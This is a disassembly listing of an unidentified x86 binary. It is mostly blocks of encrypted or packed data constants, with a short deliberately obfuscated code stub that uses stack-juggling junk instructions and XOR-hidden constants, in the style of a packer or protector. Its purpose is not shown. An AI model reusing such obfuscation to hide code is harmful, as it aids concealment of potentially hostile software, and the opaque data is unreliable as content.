		dd 0CD63CD60h, 7E9602B3h, 32C771FCh, 0F435AB4Ah, 6A0B7184h
		dd 0D855D7CEh, 0CA1DB7Ch, 45E88AA0h, 8B0B8620h,	85286C51h
		dd 0A74A1177h, 0E67F09D5h, 297542A0h, 4D2FCD47h, 955DF3F1h
		dd 0DF690B21h, 3A9FE077h, 7CFCE373h, 0CED428BEh, 29C49F62h
		dd 0EE752CBEh, 0A437B52Dh, 637F26FEh, 1928732Eh, 3D8754F5h
		dd 0F28C1A77h, 33CF655Bh, 73A43E7Eh, 39CCD628h,	0E44CDDC6h
		dd 2F649h, 0B93F1900h, 1BAD3A35h, 0B59F7366h, 0A5614337h
		dd 4D38390Ch, 0BA2DC805h, 11CE7120h, 5E443267h,	8DEF00CCh
		dd 0F62034B1h, 914783F5h, 26FB3703h, 1E3C980Bh,	0B36D2D5Ch
		dd 245D2325h, 2325B364h, 49EF6ACh, 824AE476h, 20601193h
		dd 382325B3h, 752F6715h, 7912BBDh, 25B30A8Ah, 50980A23h
		dd 7E77D9B1h, 1A97212Ah, 1B3C779Ah, 791D2F7Ah, 0AD30820h
		dd 5C33E174h, 0ECE8FE06h, 0B04A5804h, 0E19BBE26h, 0FAB871Dh
		dd 84E293EDh, 0E84032D8h, 0BD482ECCh, 8D7794E2h, 9212875Bh
		dd 821B3CC1h, 0C12D6D24h, 0BDE71B3Ch, 7810992Fh, 426C0F6h
		dd 2C997C8h, 9DBE0000h,	52E652E3h, 52B8528h, 465EFA7Bh
		dd 6A8F29C4h, 2C0D6312h, 22D3A94Ch, 901D9FF6h, 0C4691324h
		dd 3DB0C268h, 53534E58h, 0BD286C50h, 0A0B3D98Fh, 6ABBEF01h
		dd 34C654EAh, 4D4FBD7Dh, 0BB4D5738h, 0F77EFE13h, 78C4B045h
		dd 739ED76Eh, 77CFB146h, 9CFD86Dh, 36BC61D0h, 7D13933Fh
		dd 59F7D4B5h, 59F3286Ch, 5A26661Bh, 9D14286Ch, 286C5A1Dh
		dd 0C3E1ADF7h, 99D6842Dh, 6EE63410h, 24679h, 5E1E3D00h
		dd 0ABD165D7h, 0F688AE0Ah, 47C5DD7Fh, 8DEF02AEh, 0C3AF88E0h
		dd 75A74E2Eh, 0BB15981Ch, 0EF49E494h, 0DD82334Dh, 4ED0D0C1h
		dd 0A40286Ch, 37A0B354h, 4F2CECA5h, 0BEE4384Dh,	5023BF66h
		dd 35D9286Ch, 0D9C86294h, 286C4FD9h, 281693Bh, 8C2150C2h
		dd 1663Ch, 0A04A8600h, 0A8420ED6h, 0E10C27CEh, 0D578E476h
		dd 0C35D4BA7h, 0AB87F11Bh, 0B5ABBBDAh, 75C9DB37h, 73AC308Ch
		dd 8128D428h, 19F57050h, 4B8E8Ch, 0B3D40000h, 0ECA537A0h
		dd 37B5AAEDh, 0D06DFFA5h, 436301AAh, 63894DB2h,	7BB7CD11h
		dd 79627E27h, 0F51A2873h, 0F91FBB8Bh, 4448BF87h, 61ED55A5h
		dd 2CA91BB8h, 0F78E8C1Ah, 0AEE72AFFh, 9AAA9F2Eh, 0A761BC74h
		dd 65000000h, 0CA2656F9h, 0D6A04AF8h, 0B7F7AA44h, 91305CC4h
		dd 0A220FC80h, 6B26B0F2h, 305CC52Bh, 3F73BFE5h,	26FE7E93h
		dd 2AC080AAh, 0A420BA48h, 0EF03EF6Dh, 862F49E3h, 5CBF81FFh
		dd 2B55E730h, 54203591h, 0B33EFA88h, 50EA7DF8h,	0B0EBC821h
		dd 2EB8EA37h, 44E993A6h, 0BA3745E8h, 340B28EEh,	14497EF6h
		dd 0E3000001h, 2B852848h, 5CF87507h, 832DC0BAh,	309C1193h
		dd 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh,	0FD7F9D3Fh
		dd 1E930F70h, 286C4D9Eh, 4A664476h, 0FC58D5A7h,	15911C5Eh
		dd 0C586067Bh, 148E305Ch, 0A04AEEDCh, 0A8420ED6h, 7A903CCEh
		dd 529E24F8h, 8A19144Fh, 5CC49717h, 952B7930h, 0A2DF6903h
		dd 305CC4E2h, 0C9B87032h, 37B2780Fh, 0E975079Dh, 0C6BD3044h
		dd 287376EAh, 670E6882h, 0CF622035h, 0BD5351ADh, 894E61h
		dd 78900000h, 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 500B275Ah
		dd 7F25384Dh, 77012BA7h, 0BEB852FEh, 0AFC7BF66h, 76202AEEh
		dd 0AFE5A5DCh, 53E725EDh, 0C7CFD529h, 0A6D679DDh, 4D87264Ah
		dd 1254FBAFh, 21A383FDh, 0A431B393h, 841B9FF2h,	6D009611h
		dd 0D77929C3h, 0B54B59A5h, 0B7356D69h, 7514386Fh, 4DDF99B3h
		dd 21096B81h, 98DA70DCh, 0F1A03A44h, 25ECF9B1h,	0D6E94163h
		dd 0Fh,	0C5DC7868h, 57D1EB47h, 33136D8Fh, 4A4B79B1h, 430FD7A1h
		dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h
		dd 636FB735h, 6753B3CDh, 5E55A9D3h, 592C68h, 24148900h
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243489h, 508Ah
		dd 57240489h, 766D53BFh, 0C1D7F75Ah, 0F78108E7h, 302D68B9h
		dd 0B005F781h, 0FE89BE4Fh, 83243C8Bh, 0EC8304C4h, 24248904h
		dd 4240483h, 0B9515658h, 5A05544Ah, 4244C01h, 8408F59h
		dd 4A086881h, 8B5A0554h, 89532404h, 4C381E3h, 83000000h
		dd 1C8704C3h, 34FF5C24h, 0C4815E24h, 4,	0F9025DE9h, 0BAA22FFh
		dd 0F078E2B8h, 0FFC50307h, 0F14320E0h, 80E57C01h, 0ACB79A4Dh
		dd 0D81CDB38h, 0C012F825h, 0DF163767h, 9489F748h, 84CC724Ch
		dd 0D1FCB34Bh, 0A573013Ch, 0CBF76B65h, 578E26Bh, 0BECB545Dh
		dd 0B469DC04h, 2E28650Eh, 4695DD64h, 0E37ACA31h, 9E386F15h
		dd 3BD5F308h, 45F7C55Fh, 0EB076F3Ch, 1E2C447h, 6A9A9F5Bh
		dd 506DDB6Ch, 0F5658F5Eh, 72088E0Ch, 88C3E023h,	0D22FF61Fh
		dd 29B0EB3Ch, 0C9352F1Eh, 5E13755Eh, 12E807h, 1C6F0000h
		dd 0C702EF3Ch, 10129E9h, 0F2A1FAA9h, 26B4BFFCh,	168C0Fh
		dd 10E80000h, 0BC000000h, 0E309263Fh, 9C4DC455h, 61C232C5h
		dd 5EE85B81h, 0E9606059h, 13h, 0AE68F4B0h, 0A154DD37h
		dd 87342F44h, 6E785ED2h, 6639E128h, 61320BB9h, 8E9h, 5C282300h
		dd 0F7B41ECFh, 0C1816149h, 73CBh, 8830Fh, 8C0F0000h, 2
		dd 0BB98B2h, 8B000000h,	0B34FFC3h, 8113B45Fh, 239ACAC7h
		dd 0E9806055h, 0B4EA81E2h, 610BE46Fh, 98CFF781h, 81F9482Ah
		dd 225A1CF7h, 57F18B22h, 62C98BBAh, 19048F2Dh, 8BF38B66h
		dd 2EB83D3h, 11E9h, 18C91300h, 0F902214Ch, 748BC744h, 0B43798Ah
		dd 4B4B0E13h, 61606052h, 0DE8h,	0FAE3B800h, 1DD30243h
		dd 0D450BB6Eh, 615A62C4h, 20FB8158h, 0FFFFF8Dh,	0FFFF8C85h
		dd 65BE66FFh, 6E8BAh, 0BAFB0000h, 31B1F5D3h, 2B3DFEBEh
		dd 0DF80586Eh, 29C08122h, 0E9000068h, 5, 25843EDAh, 830ABA2Ch
		dd 0C2816CC4h, 933B96D4h, 0EE9h, 75B32600h, 8D595BC0h
		dd 1312A8F7h, 0FFB71FA7h, 12E830h, 49F80000h, 7D596BB6h
		dd 334212F1h, 0EAEE2C03h, 0E5042086h, 12CDEB81h, 5F5B7DD2h
		dd 38BB6656h, 0F7815906h, 4E686244h, 6DC781F9h,	8164E6E8h
		dd 0CC3E66C1h, 28F78162h, 0B1516B48h, 0E9388997h, 0Ch
		dd 9D4F4F91h, 9C1E2783h, 8A10620Ch, 0C31EE881h,	0C88A4418h
		dd 0C31AC081h, 0EA814418h, 1, 0FF91850Fh, 8B0FFFFFh, 3
		dd 0E8CBB70Fh, 0Ah, 0D0945573h,	316F3806h, 0D681D33Ah
		dd 2365771Eh, 4FC18159h, 0B8000072h, 60B52791h,	0F4E8C081h
		dd 8BF99F4Ah, 8B3DBB11h, 0F2815F92h, 0C0C38FFh,	326951BBh
		dd 3AF28137h, 813651ECh, 7C48DFEBh, 91C28146h, 66668436h
		dd 52B878BBh, 0F018FF9h, 581h, 0C6816600h, 0E9832E6Dh
		dd 77C78004h, 1E881h, 850F0000h, 0FFFFFFB7h, 0E9DBB70Fh
		dd 13h,	109DD10Eh, 3 dup(0)
		dd 0E9000000h, 5C2h, 8A5D764h, 43F288ACh, 0B03D3FD1h, 0E78E0C04h
		dd 59D4A0B5h, 0E70A66C3h, 65BC1895h, 4DE24EE7h,	4168233h
		dd 892FB7Ah, 6C491999h,	0E3C1FB28h, 4339DC78h, 3840D7E3h
		dd 0BD48DEE4h, 4046F11h, 0FEDA16D9h, 0F6C2225Ch, 8FC51E63h
		dd 0BCE0F52h, 0BE5CF875h, 0E1902ABCh, 305C34A1h, 0A5F93173h
		dd 9010811Bh, 80305C34h, 48E2D622h, 1D309C2Eh, 35FD875Fh
		dd 8856EFF9h, 0F61B9D0Ah, 718531F9h, 7A9E3B0Bh,	79FB11D3h
		dd 9BD36AF4h, 0D74C7286h, 29CEEA46h, 0DD72DE57h, 0DA6022A4h
		dd 0B4BC49CBh, 9D14A6B1h, 305C3D1Dh, 0C71FADF7h, 0F52C9A8Bh
		dd 0B115AF77h, 7E04D89Ch, 9EF65EE8h, 6798D41Ch,	0EB0CB861h
		dd 0E8821C91h, 240A715Dh, 493848EEh, 305CB249h,	0A511D9CBh
		dd 6819E597h, 305CB24Dh, 906C082Dh, 94681224h, 0D410B9C7h
		dd 0DDE73FBDh, 0A34AAE4Fh, 30F38E76h, 5FE884h, 4AFA0000h
		dd 700ED6A0h, 0C4EBABE6h, 7F25305Ch, 0C4D0D2B3h, 43D5305Ch
		dd 0E087799Ah, 20AC8430h, 13916D0Fh, 0D8A27h, 61FC0000h
		dd 0E802057Eh, 0C949FF8Eh, 4A2D9F5Bh, 324CE2A6h, 0E242D0D2h
		dd 57574AE4h, 0B9305CC5h, 0B23263EBh, 0BCBE5246h, 0BE3C5460h
		dd 18C16B66h, 833248ECh, 0F479FB11h, 3ADC784Eh,	29CCE840h
		dd 33C7F353h, 0B925BF49h, 0F6B6EB69h, 1E305CC4h, 0BB70AC84h
		dd 0EF90A72Fh, 2B06573Fh, 41A93FFCh, 0A5487C1Dh, 58F25ED7h
		dd 648AC61Eh, 1D770A2Ch, 0D747F052h, 0DB2BB94Fh, 1DBE5FE3h
		dd 8430E593h, 9AD3h, 0A74AF700h, 46AA43D5h, 0D9D9C8EDh
		dd 3B305BD7h, 616FDC69h, 0A4E49D2Fh, 6C305C89h,	2AA6FA36h
		dd 64E07A04h, 6110AAD0h, 305C8A21h, 2579B1F3h, 2D64FEA8h
		dd 305C8A6Dh, 4968FDA7h, 8D7C5E56h, 0FAED21Eh, 0A94430C5h
		dd 0B292EA0Fh, 94BA0E06h, 0FE881AEAh, 5C680383h, 1970D30h
		dd 0FA7E913Dh, 5C680787h, 59B0930h, 27A9D39h, 96375922h
		dd 0A950FC64h, 31378868h, 3DE684h, 4AFC0000h, 4D09D5A7h
		dd 9C38D2AAh, 903C007Ah, 0A0220280h, 1F8A2612h,	7D9054F5h
		dd 4ACC76FFh, 9908D4A6h, 305CC53Eh, 8152FB1Dh, 8430E03Fh
		dd 7C6F59F4h, 21493132h, 194C9h, 4A2E0000h, 8440DAA4h
		dd 8F230F8Dh, 0C74F64F1h, 306A6E58h, 3C3EDCF8h,	3ABCD4E0h
		dd 5C514747h, 45DBC930h, 40C4DDF9h, 6E0F01FCh, 0CC6D938Ch
		dd 0E984F618h, 0A1ABBB6h, 9F2EB488h, 274450D1h,	17A13752h
		dd 0B5219F9Ah, 0DED36D37h, 287321DEh, 8A6183CFh, 0F2A2CE90h
		dd 389478B0h, 89A6AE8h,	0C2EAA7Ah, 0DAA4CF75h, 0B5110D01h
		dd 780ADAA2h, 43E94BEAh, 8318B636h, 0CB59765Fh,	67D06D7Bh
		dd 58B428E8h, 0D1D3B27Eh, 262873C1h, 0E36B8B32h, 8BF51B4Fh
		dd 5F9B29F5h, 0EA7D17Bh, 0EC3D0590h, 0BD81F319h, 0C7C99627h
		dd 97A511D9h, 0C8B953E5h, 287325C8h, 30C35A48h,	943E45E2h
		dd 2CA8C42Ch, 72DA6C0Eh, 1A56A2DCh, 6A9E3F41h, 8A3FB6C0h
		dd 8C1A4E3Ah, 12BB4h, 0E1902A00h, 287362A1h, 0CBF93173h
		dd 0A537A0B3h, 0E3CC720Bh, 0BD705C1h, 5C141696h, 16A4FE30h
		dd 0E96C2BDAh, 0FCAA37B4h, 72E90585h, 7950F28h,	0FF79933Fh
		dd 4630DA76h, 3E38D2FEh, 42EB15E6h, 6B0A7486h, 1ABBE6DEh
		dd 4A008Ch, 0B3A20000h,	19B2DBAh, 6DC5B745h, 5CC53C9Ch
		dd 3CCED4B0h, 21FD7F90h, 6A1B57A3h, 0B05CC52Ah,	722FB9EDh
		dd 0B05CC532h, 468C0E2h, 46C55A65h, 7AF828B4h, 0C4F1B1E0h
		dd 8123B05Ch, 62423FA9h, 0B2305CC5h, 95C87DF0h,	1A000000h
		dd 0A537A0B3h, 0B593F1ECh, 49E3C137h, 92C2C2BFh, 50522873h
		dd 0E2084498h, 99B31D90h, 419E07DFh, 25287392h,	3F9B6B11h
		dd 3683631Dh, 0A3497B22h, 464A43D1h, 0ADCF6DA7h, 55C26D00h
		dd 387829C3h, 10287392h, 23A17DFFh, 0EFF93173h,	6415FCB2h
		dd 92723030h, 336E1426h, 20831673h, 4F47079Dh, 0B0E73FCDh
		dd 0B2CC6EF6h, 74985052h, 0D84FEAD5h, 0E70864Eh, 7A19AC36h
		dd 0E9F8AF22h, 89F8EE4Ah, 28738813h, 0A5D77BE3h, 7203A14Dh
		dd 0B5C768F4h, 2D9F5B69h, 0A537A0B3h, 4D48B6ECh, 0D4287A38h
		dd 8D2052F8h, 49590923h, 38E935CBh, 1FDDF6E7h, 854FEE02h
		dd 0C76D0277h, 0F4513E62h, 0F75FCF66h, 0BEC41860h, 0CEB44672h
		dd 0FF39D3D3h, 0D1673D10h, 0B4F4AD47h, 5C10FF39h, 1AB6EA46h
		dd 18B4880Ah, 12BE86F4h, 0C6A383FDh, 54CF2BD2h,	0BD5F8930h
		dd 0E29F29C3h, 10FF39A2h, 14E86ABAh, 549C068Eh,	334DEF49h
		dd 12920F99h, 210FF3Ah,	1B9B16A0h, 0F510FF3Ah, 0B82F43AFh
		dd 0Ah,	0AD254CAh, 3B4995E7h, 0A14ACDFFh, 0A9430FD7h, 0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 575E55A9h, 0C781E789h, 4, 8704EF83h, 895C243Ch
		dd 89512404h, 4C181E1h,	83000000h, 0C8704E9h, 34895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 259D5101h
		mov	esi, 226D2D2Fh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 27h,	81h, 0A1h
		dd 839791EFh, 0A2CF3061h, 49B8F429h, 307F081h, 91E0FFC5h
		dd 7863834Ah, 0AB79A434h, 301F4D0Ah, 293F4D6Ah,	4A626AE0h
		dd 0E568575Eh, 6C2FC032h, 5008F3A4h, 0BF49D9ADh, 0B83DDC96h
		dd 0B038F6AEh, 0AE0AF1D1h, 4F4787E7h, 8270B9CCh, 35483444h
		dd 0B057A24Ah, 0E9305D08h, 16h,	7330A44Fh, 4 dup(0)
		dd 48E90000h, 17000005h, 5FF97404h, 802CC1BBh, 37610C6Eh
		dd 64D05DDFh, 920AABD1h, 64102595h, 0B6366FC9h,	27A9D3Fh
		dd 492BC173h, 0AAE7C3A4h, 286C42EAh, 4AB2102Ah,	0A944D6A0h
		dd 0E8A87F65h, 0A2FE3A38h, 0AA4F0316h, 7B13CD2h, 0DC98BDF5h
		dd 30DAF64Eh, 319B446h,	6F112782h, 8C780D97h, 4707965Ch
		dd 94634E65h, 0EBE73BF7h, 0ECE93547h, 8955A148h, 0FCD81064h
		dd 56391B5Eh, 0CDCFCDECh, 4C3EDB38h, 0B54B71CBh, 0AE17AE38h
		dd 691F67F4h, 0C869BA16h, 0EA9F683Dh, 0FB85AA0Eh, 4739DE7Ah
		dd 914A18B5h, 0B4CDDAD3h, 0B1C97C21h, 0FB371CDDh, 9BBD19A7h
		dd 74AD09E1h, 0AFFB2CF0h, 0F81EEE16h, 5BCE0989h, 0C990B30h
		dd 2D0553F5h, 4BEC18C1h, 0B589F307h, 0CC3B7B28h, 80160D04h
		dd 3BD143F2h, 0A13CE539h, 59305BDEh, 507CC0B4h,	6864B8BAh
		dd 0A6EEB5C7h, 9E72FB07h, 0B85F07FFh, 0F99D74C7h, 0E87E0A94h
		dd 0B4418300h, 5CF68431h, 5BFD6525h, 0D2C3AF30h, 62F0F252h
		dd 705B96h, 0B24B0000h,	0E2B2C85Dh, 0AB8705Bh, 70C4DC78h
		dd 4143A321h, 995153B3h, 0C66B1F3Dh, 25DC20B6h,	305CC563h
		dd 0E90DAC40h, 79B1CB6Dh, 30E07A4Ah, 3726BF84h,	0A180EC65h
		dd 10BA692h, 5F000000h,	8D4A64Ah, 72D2A84Ch, 70CC4E46h
		dd 7ACAB044h, 78C4465Eh, 3EBC5DA3h, 10D4759Fh, 51EC7EFCh
		dd 0C481508Ch, 9F62CE02h, 0CBB5470Fh, 0D7A14B6Fh, 0A74AE45Eh
		dd 0A94D09D5h, 0B34773D3h, 0B45975C9h, 61AF7CC0h, 236D3AB8h
		dd 0D1AB4E7Ah, 1C5AF05Ch, 5CC52565h, 6F83EF30h,	1DB3310Dh
		dd 0F51BB78Fh, 61FBB8Bh, 0FC12BE86h, 3CAE2985h,	0E2709EE6h
		dd 0CC6D6702h, 0EF8EB22Eh, 312EC232h, 613C84h, 4A860000h
		dd 4D09D5A7h, 400DD1ABh, 36DB0DACh, 973FAF46h, 0A321FD7Fh
		dd 0AECE6357h, 0ADBD4856h, 1E05A8CEh, 0F5189809h, 0AAF8305Bh
		dd 0A8F8DC14h, 5EE2DA2Ah, 0AA9262BFh, 55EC8431h, 0F6000000h
		dd 0A0D1A74Ah, 305CC4E0h, 0DC7230h, 0A4DDA3B4h,	305CC4E4h
		dd 0CDAF402Ch, 0A855A93Fh, 2EC305A4h, 4A63A74Eh, 9908D4A6h
		dd 305CC53Eh, 8152FB1Dh, 8430E03Fh, 67275AF4h, 0A9305CD1h
		dd 11E23FFBh, 0E4000000h, 0E6485349h, 0F88D919Dh, 2F9A2DB5h
		dd 8D3FFB2Eh, 0ADAA44Ah, 72D2AC4Eh, 30C5811Dh, 62EAF844h
		dd 1945ADCFh, 0EEA2B470h, 0DAE834B6h, 5CA02272h, 6A3DB046h
		dd 34CE58CFh, 0C4A7E79Ah, 3C69305Ch, 0F7158C00h, 0BB770512h
		dd 0B4E24FCAh, 9CB11D37h, 6C10D8h, 6EF88EECh, 0E2DDDDD4h
		dd 6D372872h, 0CF6D6985h, 3EA600ADh, 0BC3E561Ah, 39CC6260h
		dd 0C77263EFh, 0B367D307h, 3044E999h, 0E176D6ECh, 4C35099Fh
		dd 2872EA4Ah, 0D014B5DFh, 1BB5383Ah, 13BF87F1h,	0D4A77FF9h
		dd 58F501A8h, 0F9A0B7FFh, 0C5F139F6h, 1BA84537h, 8C1A44A9h
		dd 4A34C68Eh, 0ED00E8FAh, 105h,	37A0B3F5h, 0A9430BA5h
		dd 0DB6D77CFh, 5CC4E6A6h, 0BC742E30h, 0B599CECDh, 865E4437h
		dd 73336EF8h, 9D28739Ah, 0C8B04707h, 0D4A6B460h, 235DFF59h
		dd 1B65F7C3h, 6D0C70CBh, 55E791BBh, 0CE166689h,	0D0717CB4h
		dd 8C1A0AF0h, 3B0Eh, 0BAB35400h, 0C6E69B2Dh, 4EB05CC4h
		dd 0FB00953h, 5C9B1292h, 15A002B0h, 0CF5DCA4Fh,	0A10E8E77h
		dd 0DF01B05Ch, 6DFA733Eh, 0A106A6DBh, 0A20E305Ch, 9012F28Ch
		dd 7EDA7302h, 64000000h, 0F3B3EE78h, 1D305CC4h,	30FB3F80h
		dd 45DB777Bh, 0B22530EDh, 836E6918h, 5E4437B5h,	826DF886h
		dd 0DEE79700h, 47D5C129h, 0FE1CB835h, 0BE26A07Ch, 1222E198h
		dd 0F4EA1AF7h, 0DEFB8A66h, 49287303h, 0C862A647h, 0DA707AEh
		dd 73041494h, 0EFA2FC28h, 287303AFh, 45AD4361h,	801A8DA8h
		dd 6381CF11h, 1FE7BD30h, 7DF99B3h, 624DEC10h, 0B8C256F7h
		dd 3EC85E64h, 72FF8143h, 18950F28h, 37A0B3AAh, 42EAECA5h
		dd 0FCA6384Dh, 7C0FD36Ah, 0D3BED50Eh, 0E3E13D3Fh, 1498894Dh
		dd 227EBAC8h, 7BFA8496h, 0FD4133D9h, 0A5D77BE3h, 409DBC4Dh
		dd 98BC7CACh, 5B2537F1h, 0BDF105C1h, 8002E29Ah,	589012F2h
		dd 0EB0DC955h, 0DF7D5991h, 12920F99h, 2B3AC42h,	41B1F1A0h
		dd 4163B3ACh, 128F19B3h, 0B3AC4192h, 94C82082h,	9A6AE838h
		dd 0AE8C1965h, 7799E87h, 0ED10A53Fh, 7CFC13B8h,	0A48C22A0h
		dd 0C5579138h, 12AC3ABBh, 0AC721F9Fh, 47B3F1B3h, 67BFB953h
		dd 370h, 0F6549200h, 0FD7A14Ah,	77CFA943h, 78C4B45Bh, 7FC7455Ch
		dd 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h
		dd 2541685Eh, 0C890000h, 0E996824h, 3C890000h, 63FB6824h
		dd 2C890000h, 0E6B85024h, 2D49A04Dh, 41AFCB89h,	48BC789h
		dd 4C48124h, 68000000h,	66A1h, 83242489h, 5D042404h, 7E6D68h
		dd 243C8900h, 8B08458Fh, 8951242Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 34FF5C24h, 0C4815F24h, 4,	0F8F429E9h, 8BFE0FFh
		dd 7A84256Ch, 0B804378Fh, 7F08733h, 0E0FFC503h,	1F6DBE75h
		dd 1AF67D05h, 7E480F27h, 69A5EEA0h, 19A03821h, 495F20Eh
		dd 3A910FACh, 23E7A71Ah, 4F9BBBFCh, 1D68AA07h, 0BB212FCh
		dd 728E4FE2h, 542BF06Fh, 1519FDDBh, 6C815FFh, 584E63B5h
		dd 1BAFE5DDh, 32FD6ADAh, 6D2AEE69h, 5A7460B4h, 6FB06DB8h
		dd 6F8AECFh, 3A88DC9Ah,	0F406BACh, 79C03B86h, 371E0902h
		dd 70E847B8h, 1FFDFC9Dh, 9EB646h, 590E014Ah, 7E0B3BECh
		dd 0BD83C08Bh, 7E918A5h, 83097500h, 0E91A45BDh,	19740007h
		dd 0C08B5350h, 421B8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h, 421B8h, 0F9858900h
		dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 8BC08B58h,	0E9120D9Dh
		dd 5985C607h, 5607E926h, 0A8B85268h, 11B5FF9Ch,	8D07E90Bh
		dd 0EC9FDB85h, 6AD0FF07h, 10006804h, 0B5FF0000h, 7E92F59h
		dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 158D8D00h,	0FF07E96Eh
		dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h
		dd 7E92089h, 0E840F00h,	8B000000h, 0E920899Dh, 0D858B07h
		dd 8907E902h, 8D525103h, 0E9772D85h, 8BD0FF07h,	8BF18BFAh
		dd 0F3C88BD1h, 5985C6A4h, 5607E926h, 1F6D3968h,	11B5FFD4h
		dd 8D07E90Bh, 0EC9FDB85h, 68D0FF07h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535019h, 421B8C0h,	85890000h, 7E920F5h, 0D8359D8Dh
		dd 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h,	421B853h
		dd 85890000h, 7E920F5h,	0D4D69D8Dh, 0D3FF07EBh,	0C08B585Bh
		dd 20899D8Dh, 38B07E9h,	840FC00Bh, 7, 5B8B038Bh, 0B8188904h
		dd 4B41h, 14E8h, 0D3472A00h, 0D70EDAF0h, 0AE46B9BFh, 0C3169385h
		dd 2A7983EFh, 1A02BAA1h, 515F229Dh, 815EF78Ah, 701AC7h
		dd 38D0F00h, 0F000000h,	0B9C0B7h, 81000000h, 374E24E0h
		dd 0F1C8B6Dh, 81D18B66h, 931B14C3h, 35EB810Dh, 66179BC0h
		dd 0C381C38Bh, 33C9AA12h, 6FCDF081h, 66533B1Ah,	0B59BEA81h
		dd 0F0F048Fh, 14E9F1BFh, 0F3000000h, 38A10075h,	4645F240h
		dd 5E263AA2h, 0E598B664h, 81B4D0B2h, 0CF9A9EE9h, 81D68B04h
		dd 0CF9A9AC1h, 0E8F56004h, 6, 0F2FBE9F9h, 0CF8AA3BEh, 0F981615Ah
		dd 0FFFF90D4h, 15850Fh,	0E9FC0000h, 43h, 0F64F42D6h, 0D77F8448h
		dd 0B40E39B6h, 60F3CFE7h, 67EE8166h
		dd 0C6806060h, 0FE8D2h,	72820000h, 0C1C58550h, 977B4A7Fh
		dd 9874E1FDh, 61615F43h, 0FFFF54E9h, 749DC6FFh,	743A88D4h
		dd 93DF5D5Bh, 0E8944FD0h, 5, 0E3CFD71Eh, 0D5BB6683h, 81665A09h
		dd 81EDF8E8h, 0E987C2h,	75BF6600h, 0BE07h, 13E90000h, 18000000h
		dd 0D87E9E9Bh, 0F0A57E35h, 0D7EB1E9Ch, 46DB3812h, 34FFE068h
		dd 0CBB86616h, 0BE8590Ah, 8C000000h, 0A408678Eh, 8DF01C83h
		dd 8B0FE8A8h, 6, 860Fh,	815F0000h, 954560C1h, 2890F1Eh
		dd 8B000000h, 1DC181C2h, 0F571D44h, 58Fh, 0EF816600h, 0F181A1E1h
		dd 26805D2Dh, 0A311BB66h, 44E88151h, 8F159EC8h,	0D7813204h
		dd 77A65ACEh, 74B96660h, 8161F95Bh, 2B933BEEh, 0B0EC8054h
		dd 9337C681h, 0BE9542Bh, 4000000h, 0A2F76793h, 59E36D41h
		dd 0FE81D305h, 0FFFF1750h, 0FF70850Fh, 0DE8FFFFh, 0CC000000h
		dd 0C89E1DC3h, 0EF76AACFh, 738FF6DCh, 555FE78Ah, 5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 638FD49h, 299EFD25h,	3EDFFD25h
		dd 0B23DFD25h, 772FFD25h, 9505FD25h, 0E4E2FD25h, 5CC3FD25h
		dd 0BEFD25h, 29E5FD25h,	3EB2FD25h, 0B417FD25h, 7070FD25h
		dd 9251FD25h, 0E332FD25h, 5AFEFD25h, 642FD25h, 259DFD25h
		dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh,	2775FD7Ah
		dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh
		dd 0BC75FC7Bh, 5E75FD7Ah, 5176FD7Ah, 4A75A23Dh,	0CB75A232h
		dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 23F0701Ah
		dd 0A6720DF5h, 67FE49FFh, 58F0707Dh, 6C720DF5h,	2FE89FFh
		dd 0A8F0707Dh, 35720DF5h, 0AEFE4DFFh, 1EF0707Dh, 1E720DF5h
		dd 3BFE85FFh, 15F0707Dh, 7B720DF4h, 89FE81FFh, 32F0707Dh
		dd 0D7720DF7h, 0DFFE7DFFh, 37F0707Dh, 42720DF7h, 15FE79FFh
		dd 44F0707Dh, 0F0720DF7h, 4CFE75FFh, 4FF0707Dh,	0A6720DF4h
		dd 67FE69FFh, 16F0707Dh, 6C720DF7h, 2FE71FFh, 85F0707Dh
		dd 35720DF7h, 0AEFE6DFFh, 3EF0707Dh, 1E720DF4h,	3BFE69FFh
		dd 0AEF0707Dh, 7B720DF4h, 89FE59FFh, 0D6F0707Dh, 0D7720DF4h
		dd 0DFFE55FFh, 1AF0707Dh, 42720DF4h, 15FE51FFh,	24F0707Dh
		dd 0F0720DF4h, 4CFE65FFh, 53F0707Dh, 0A6720DF5h, 67FE61FFh
		dd 63F0707Dh, 6C720DF5h, 2FE5DFFh, 34F0767Dh, 3572145Bh
		dd 0AEFE10FFh, 3AF0767Dh, 1E721465h, 3BFE0CFFh,	0B0B69C7Dh
		dd 0F29D11F1h, 2375FD7Ah, 317417FBh, 0D525FA8Ah, 0ADFDF53Fh
